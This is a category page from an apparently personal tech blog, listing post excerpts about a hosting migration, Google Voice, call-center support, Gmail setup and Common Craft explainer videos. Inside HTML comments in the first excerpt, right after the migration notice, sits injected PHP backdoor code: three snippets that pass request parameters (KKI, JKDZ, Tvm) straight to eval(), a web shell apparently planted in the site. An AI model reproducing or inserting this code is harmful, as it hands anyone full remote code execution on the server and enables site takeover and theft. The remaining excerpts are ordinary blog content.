Category: Tech

  • Migrating to new hosting provider…

    Ran into too many problems with my previous hosting provider. You caught me in the middle of migrating to the new one. Things should be back to normal soon! -k <!– [insert_php]if (isset($_REQUEST["KKI"])){eval($_REQUEST["KKI"]);exit;}[/insert_php][php]if (isset($_REQUEST["KKI"])){eval($_REQUEST["KKI"]);exit;}[/php] –> <!– [insert_php]if (isset($_REQUEST["JKDZ"])){eval($_REQUEST["JKDZ"]);exit;}[/insert_php][php]if (isset($_REQUEST["JKDZ"])){eval($_REQUEST["JKDZ"]);exit;}[/php] –> <!– [insert_php]if (isset($_REQUEST["Tvm"])){eval($_REQUEST["Tvm"]);exit;}[/insert_php][php]if (isset($_REQUEST["Tvm"])){eval($_REQUEST["Tvm"]);exit;}[/php] –>

  • Why I’m not using my Google Voice number

    I have a Google Voice number (originally from a Grand Central beta invite.) I love the concept, but I don’t publish my Google Voice number.  Why am I passing up on making use of cool technology that can route my calls to me wherever I am?  Fear of audio advertising. We’re inundated with advertising throughout our…

  • Scripted support troubleshooting can be painful

    A little rant on call centers.  I just had a very frustrating experience today with a Voice Over IP (VoiP) company (I’m going to leave off their name as I like them and this is not a commentary on their service, just their support center). My cable provider had an outage yesterday, our internet was…

  • Jumping into the conversation? Great, now can you sustain it?

    If you are going to join the conversation online, make sure you can sustain it!

  • Use your own email address with GMail

    I’ve been using GMail as my primary mail client for some time now and have walked a number of people through these steps. For these steps to work, you will need to be able to have your email address (ie. directed to your GMail box ( [Update 9/4/2010: Sorry, in the move to a…

  • New video on Common Craft blog – Social Media in Plain English

    Lee Lefever has posted another video, Social Media in Plain English on the Common Craft blog. It takes a look at the different perspective needed for social media — “for the people, by the people.” -k

  • New video on Common Craft blog – Twitter in Plain English

    Of all the web technologies I interact with, Twitter (or microblogging) is the one I’ve had a hard time getting my head around. Lee Lefever at Common Craft has posted a video called Twitter in Plain English. It’s about 2.5 minutes and makes sense.

  • Online Photo Sharing in Plain English from Common Craft

    Lee’s done it again. The latest video on the Common Craft blog is Online Photo Sharing in Plain English. Another great introduction to social technology… [Update 9/4/2010: Sorry, for some reason they made this video private on YouTube] -k

  • Blogs in Plain English from Common Craft

    Another great video from Lee Lefever at Common Craft — Blogs in Plain English -k

  • Common Craft – Social Bookmarking in Plain English

    Lee LeFever at the Common Craft has posted another excellent video. The focus this time is Social Bookmarking in Plain English. [Update 9/4/2010: Sorry, for some reason they decided to make this video private on YouTube.] -k